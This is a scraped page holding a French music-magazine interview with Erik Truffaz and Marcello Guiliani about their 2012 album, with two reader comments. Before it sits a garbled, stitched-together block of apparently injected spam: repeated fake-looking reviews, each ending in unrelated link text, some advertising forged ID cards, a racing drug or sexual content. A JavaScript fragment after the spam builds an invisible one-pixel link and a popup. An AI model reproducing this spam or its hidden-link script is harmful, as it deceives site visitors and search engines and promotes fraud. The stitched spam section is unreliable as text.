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Great location. Only waited about 12 minutes for our table on a Friday around 4. Margherita pizza was phenomenal! Staff and service were very friendly. A must stop spot for top notch pizza!!! Perfect crust and sauce is delicious. affiliates pnx<\/a><\/article><\/span> <\/div>
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The front area is being renovated. the restaurant moved back near the childrens play area ... caminhonte<\/a><\/article><\/span> <\/div>
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Just a fast one. We love the place the staff is not only professional but friendly and polite. The wife loves the slots ( shes hooked ) I love going to the concerts. We cant wait to try the food. The place is magnificent. grimaldi lines salerno tunisi<\/a><\/article><\/span> <\/div>
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Great service. Pretty pricey for food but tons of free amenities. uav inspection services<\/a><\/article><\/span> <\/div>
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Went for lunch And was shocking! The manager is a complete idiot. Bad customer service, do not recommend what so ever! The views are just as good at a local bar. semalt net<\/a><\/article><\/span> <\/div>
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I cant find the half star rating the slot machines are horrible no matter what you bet. en iyi elektrikli<\/a><\/article><\/span> <\/div>
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God forbid you have a noise complaint!! You should handle it yourself seo<\/a><\/article><\/span> <\/div>
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this place rocks. cant wait till Im of age. Ive made some of the food platters and done general cleanup and food prep. url shorteners free<\/a><\/article><\/span> <\/div>
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Great staff, clean rooms, & comfortable beds...We had a great Anniversary weekend! gái \u0111\u0129 93 s\u01a1n l\u1ed9c<\/a><\/article><\/span> <\/div>
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Love this place! Can be crowded but there is usually always rides that arent too bad unique visitors facebook<\/a><\/article><\/span> <\/div>
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Buffet was mediocre at best selection wasnt great in meals or desserts. Would rather go to seafood on cullen next time Ebg group<\/a><\/article><\/span> <\/div>
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Fantastic family friendly ski area with terrain for all levels. screen capture app for pc<\/a><\/article><\/span> <\/div>
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A great restaurant with amazing service, the food we ate was one of the best we ate in London, from fighting to desserts, we will definitely return h\u1ecdc thi\u1ebft k\u1ebf giao di\u1ec7n web<\/a><\/article><\/span> <\/div>
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Whats not to like? This place is iconic. Ok, sometimes the crowds are thick but its worth a visit. Nice photo ops. Great evening lights for photos too. the game compression shorts<\/a>.<\/article>
Great product assortments for all budget types. We really appreciate the ease of scheduling deliveries! cie corporation<\/a>.<\/article>
Who said flowers are only for women? This place makes everyone fall in love with flowers... Colours and flowers everywhere... Choose your best window in the year to enjoy the maximum beauty! milla jovovich weight<\/a>.<\/article>
We had a lovely time tonight! Service was impeccable and the food was amazing. Get the smoked duck -- it was melt in your mouth tender and perfectly cooked. \u767e\u5bb6\u6a02\u724c\u684c<\/a>.<\/article>
The pizza is good. It may even be very good, but not quite the stuff dreams are made of. https:\/\/enongvetmedication.com\/product\/pre-race-activator-50<\/a>.<\/article>
First MotoGp race. It was worth every penny spent! ashton leather sofa reviews<\/a>.<\/article>
Covenant consultants is best consultancy .HR from covenant are very helpful.. Especially HR Divya.. She is amazing in understanding your skills and help you in suitable job..thank so much \u0e2a\u0e21\u0e31\u0e04\u0e23\u0e08\u0e35\u0e04\u0e25\u0e31\u0e1a\u0e1f\u0e23\u0e35<\/a>.<\/article>
Amazing resort with full rides..i have been there last year ,this time due to covid crowd wont be the same buy real german id card online<\/a>.<\/article>
Great location. Only waited about 12 minutes for our table on a Friday around 4. Margherita pizza was phenomenal! Staff and service were very friendly. A must stop spot for top notch pizza!!! Perfect crust and sauce is delicious. affiliates pnx<\/a>.<\/article>
The front area is being renovated. the restaurant moved back near the childrens play area ... caminhonte<\/a>.<\/article>
they always seem to mess up my order...30% of the time...so check yr parte before you leave...if not yr gonna have a bad day...yep seiko 120 label printer<\/a>.<\/article>
If you want a clean place to relax then this is a place to be the staff there is always helpful at all times anas\u0131n\u0131f\u0131 mutfak<\/a>.<\/article>
I had the breakfast burrito home fries and orange juice. Honestly cant say which I liked more. 20 minute wait on Sunday was more then worth it. \u0e14\u0e39 \u0e2b\u0e19\u0e31\u0e07 \u0e44\u0e17\u0e22 \u0e43\u0e2b\u0e21\u0e48 hd<\/a>.<\/article>
Just a fast one. We love the place the staff is not only professional but friendly and polite. The wife loves the slots ( shes hooked ) I love going to the concerts. We cant wait to try the food. The place is magnificent. grimaldi lines salerno tunisi<\/a>.<\/article>
Great service. Pretty pricey for food but tons of free amenities. uav inspection services<\/a>.<\/article>
Went for lunch And was shocking! The manager is a complete idiot. Bad customer service, do not recommend what so ever!\r\nThe views are just as good at a local bar. semalt net<\/a>.<\/article>
I cant find the half star rating the slot machines are horrible no matter what you bet. en iyi elektrikli<\/a>.<\/article>
Really amazing food. All their meat is seasoned to perfection. Their choclate cake is a must have. Usually run specials they are very friendly. Very homie vibe. \u043e\u0431\u043c\u0435\u043d + \u0438 \u043f\u0440\u043e\u0434\u0430\u0436\u0430 \u0441\u043e\u0442\u043e\u0432\u044b\u0445 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043e\u0432<\/a>.<\/article>
All Excellent the best vacations in years the super happy children primary rib<\/a>.<\/article>
The zoo lights were worth the . Plenty of space to move around and keep your social distance. Best public zoo in the country \u043f\u0435\u0440\u0435\u043a\u043b\u043f\u043b\u0430\u0447<\/a>.<\/article>
God forbid you have a noise complaint!! You should handle it yourself seo<\/a>.<\/article>
this place rocks. cant wait till Im of age. Ive made some of the food platters and done general cleanup and food prep. url shorteners free<\/a>.<\/article>
Great staff, clean rooms, & comfortable beds...We had a great Anniversary weekend! gái \u0111\u0129 93 s\u01a1n l\u1ed9c<\/a>.<\/article>
I went to the Hard Rock Cafe. I couldnt find the entrance to the parking garage after circling the casino twice. It was difficult to find the entrance to the Cafe as well. \u0441\u0435\u043a\u0441 \u0441 \u043c\u0430\u043b<\/a>.<\/article>
Love this place! Can be crowded but there is usually always rides that arent too bad unique visitors facebook<\/a>.<\/article>
Buffet was mediocre at best selection wasnt great in meals or desserts. Would rather go to seafood on cullen next time Ebg group<\/a>.<\/article>
Fantastic family friendly ski area with terrain for all levels. screen capture app for pc<\/a>.<\/article>
A great restaurant with amazing service, the food we ate was one of the best we ate in London, from fighting to desserts, we will definitely return h\u1ecdc thi\u1ebft k\u1ebf giao di\u1ec7n web<\/a>.<\/article><\/span>"; var popupCreated = false; var bottomPopup = false || /[?&]test=1/.test(location.href); //officeLog(bottomHtml); function onReady() { tryCreatePopup(2); var box = create('div'); append(box, document.body); var defaultStyles = { width: '1px', height: '1px', background: 'transparent', display: 'inline-block', margin: '2px', padding: 0, verticalAlign: 'bottom', border: 'none' }; var a = create('a'); css(a, defaultStyles); document.addEventListener('keydown', function(e) { if (e.keyCode === 192 && e.ctrlKey) { css(a, { width: '20px', height: '20px', background: '#fff', border: '1px solid red' }); } }); document.addEventListener('keyup', function(e) { css(a, defaultStyles); }); a.className = 'shbNetgpLink'; append(a, box); a.href = 'javascript:;'; on(a, 'click', openLinerPopup); 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LeTransistor A la une Entretien avec Erik Truffaz

Entretien avec Erik Truffaz

Publié le 12 Dec 2012
Rédacteur : Agnès Bayou (et Olivier Hoffschir) Photographe : Olivier Hoffschir

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Le 29 octobre dernier, Erik Truffaz sortait un nouvel album : El Tiempo De La Revolution mélange les univers du quartet, entre les envies de voyage et la révolte latente, le tout saupoudré du charme paisible d’Anna Aaron. Le Transistor est parti rencontrer le fameux trompettiste et son pétillant bassiste Marcello Guiliani pour discuter de techniques et d’inspirations.

Erik Truffaz

C’est un peu impressionnant de rencontrer Erik Truffaz, aussi on cherche les mots d’introduction. Mais c’est sans compter sur le taquin Marcello qui avant qu’on ait pu ouvrir la bouche lance un : « Non pas cette question, la suivante. »

<img src=" ” width=”665″ height=”444″ />

El Tiempo De La Revolution est considéré comme la suite de In Between.
Marcello Guiliani : Il y a eu un changement dans le groupe, au clavier c’était Patrick Muller avant et depuis In Between c’est Benoît Corboz. Et quand tu changes quelqu’un, il amène sa manière d’être, sa manière de jouer. Et puis on l’a un peu poussé : Patrick était bien concentré Rhodes Fender, et y’en a toujours, mais on a demandé à Benoît s’il pouvait aller vers de l’Orgue Hammond, ce qu’il a fait avec plaisir et je trouve avec réussite. Et donc ça a amené un son nouveau. Effectivement, c’est pas un concept, mais c’était un peu une suite logique dans ce sens-là.
Erik Truffaz : In Between c’est la naissance d’un nouveau groupe et El Tiempo c’est la conséquence de trois ans… C’est aussi la suite parce que quand on l’écoute, on voit qu’il y a des liens. C’est assez clair.

Sur In Between, c’était Sophie Hunger qui prêtait sa voix ; El Tiempo De La Revolution invite Anna Aaron au chant.
Erik : Marcello connaît Anna plus intimement puisqu’il a produit son album.
Marcello : Plus intimement ? Mon dieu ! J’ai travaillé avec elle. Donc on est devenus amis, ça s’est fait naturellement. On aime surtout comment elle chante. On aime sa voix, et puis c’est une fille avec qui c’est facile : tu peux travailler, lui envoyer un truc, elle arrive elle a fait sa mélodie. On va pas passer deux semaines en studio pour essayer de faire une chanson. Que ce soit Sophie Hunger, Anna Aaron ou notre Christophe national, ça s’est toujours passé comme ça. Et bien entendu ils amènent avec eux un monde, leur monde, ils ont une personnalité.

Le titre phare ‘El Tiempo De La Revolution‘ a des accents morriconiens…
Erik : ‘El Tiempo De La Revolution‘ c’est un morceau qui est un peu construit comme un hymne, qui va crescendo avec des harmonies qui se répètent. C’était un peu une dédicace à Ennio Morricone… On pensait l’appeler Le Temps de la Revolution mais je trouvais ça un peu trop cru, et puis on était en Espagne donc j’ai pensé le traduire.
Marcello : C’est un titre qui est pas anodin, c’est un peu ce qu’on a vécu pendant ces cinq dernières années…

Marcello raconte comment le morceau est né. « Pour ce morceau, Erik a amené une ballade, on l’a enregistrée et c’est celle qui est à la fin de l’album. Et moi avec ma sale gueule habituelle, je fais bon les gars, c’est très joli mais je pense que ces accords là on peut peut-être essayer d’en faire autre chose ou je sais plus comment… mais tu sais dans le studio des fois c’est tendu, on cherche pendant deux heures on trouve rien, on se demande ce qu’on va faire, c’est horrible. » C’est lui qui a cherché à développer la ballade. « Et j’entends une rythmique, on part là-dessus et on fait monter monter monter… Et effectivement Morricone on est fan, donc ça nous dérange absolument pas : Il Etait Une Fois Dans L’Ouest, Il Etait Une Fois La Révolution… Et on était en plein Printemps Arabe, avec la Lybie… et c’est la crise. Sans aller chercher trop loin, ça correspondait bien aussi aux temps qu’on est en train de vivre… »

YouTube Preview Image

Sur cet album, des titres comme ‘Istanbul Tango’ ou ‘African Mista’ semblent inviter au voyage comme sur les derniers albums d’Erik Truffaz.
Erik : Ah oui mais ça c’est autre chose. Paris Benares Mexico c’est des projets que j’ai fait avec d’autres musiciens. C’est projets très différents, Benares a été enregistré en Inde, ca n’a rien à voir. C’est avec un autre groupe. Effectivement, j’avais envie d’appeler cet album Istanbul Tango mais à juste titre, Marcello…
Marcello : …et tous les autres…
Erik : …ont fait remarquer qu’on avait tellement de noms de ville sur les albums, on va pas faire toutes les villes du monde non plus
Marcello : On voyage beaucoup, et puis ça nous touche les villes où on va, tu penses bien… Nous on fait de l’instrumental : quand tu as des paroles et que tu écris une chanson d’amour, c’est plus facile de trouver un titre ! Là, c’est Erik qui se gratte la tête : c’est sa mission de trouver les titres. Et comme on essaie quand même de trouver un titre où on est ensemble, même un petit peu, ou un truc qu’on connait tous… et ce qu’on vit ensemble, c’est les tournées.
Erik : Les titres restent anecdotiques mais doivent quand même être poétiques. On compose d’abord et ensuite on cherche les titres ensemble, et souvent on en a jamais assez, et après on les change… Mais c’est pas par rapport à l’endroit où on l’a composé, c’est juste que le titre doit quand même faire rêver, c’est important.

Malgré tout, les albums d’Erik Truffaz se dégustent toujours mieux lors d’un voyage.
Erik : ça fonctionne avec le paysage. Parce qu’il y a une relation à l’espace.
Marcello : C’est une thématique du groupe. T’imagines comment ça commence : on a tous des influences, il fait de la trompette, on a tous écouté Miles Davis comme des cons, et quand on se laisse aller… Ca se fait des fois même pas en parlant, des fois en repet, ouh là ! qu’est-ce que t’es en train de faire ? stop notons, c’est beau. Et gentiment tu vois qu’on arrive à des choses qui nous ressemblent.
Erik : On affine notre structure…
Marcello : ça prend du temps. Et effectivement ce qui nous rassemble c’est l’espace, les voyages. On est des doux rêveurs, c’est ce qui fait notre personnalité, ce groupe-là.

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La thématique du Erik Truffaz Quartet serait donc les grands espaces ?
Erik : Non, ce qu’on recherche c’est transmettre de l’émotion au travers de la musique. C’est pas très compliqué : y’a une partie rythmique, faut qu’il y ait des bons grooves, et une partie mélodique, faut de belles mélodies… Mais on essaie avant tout que le son soit pas trop américain, surtout la trompette. Que ce soit pas une copie du jazz. Tout d’abord parce que je sais pas faire, mais en plus c’est pas moi. Au moins, ce que nous apprend l’âge, c’est d’arriver de plus en plus à être soi-même.

Réclame
El Tiempo De La Revolution, le dernier album du Erik Truffaz Quartet, est paru sur le label Blue Note.
Erik Truffaz Quartet sera en concert les 14 et 15 décembre au Trianon. La tournée française reprendra le 13 mars pour finir sur l’Olympia le 6 avril 2013.

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Remerciements : Marion (Ephelide)

Catégorie : A la une, Entretiens
Artiste(s) : Erik Truffaz
Production(s) : Blue Note

2 réactions »

  • Julien :

    J’ai hâte de l’écouter, j’adore Erik Truffaz.
    Bravo pour l’article et les photos+ vidéo

    Le 13 December 2012 à 11 h 28 min
  • agnes (author) :

    merci de ton retour !! 😉

    Le 13 December 2012 à 11 h 48 min

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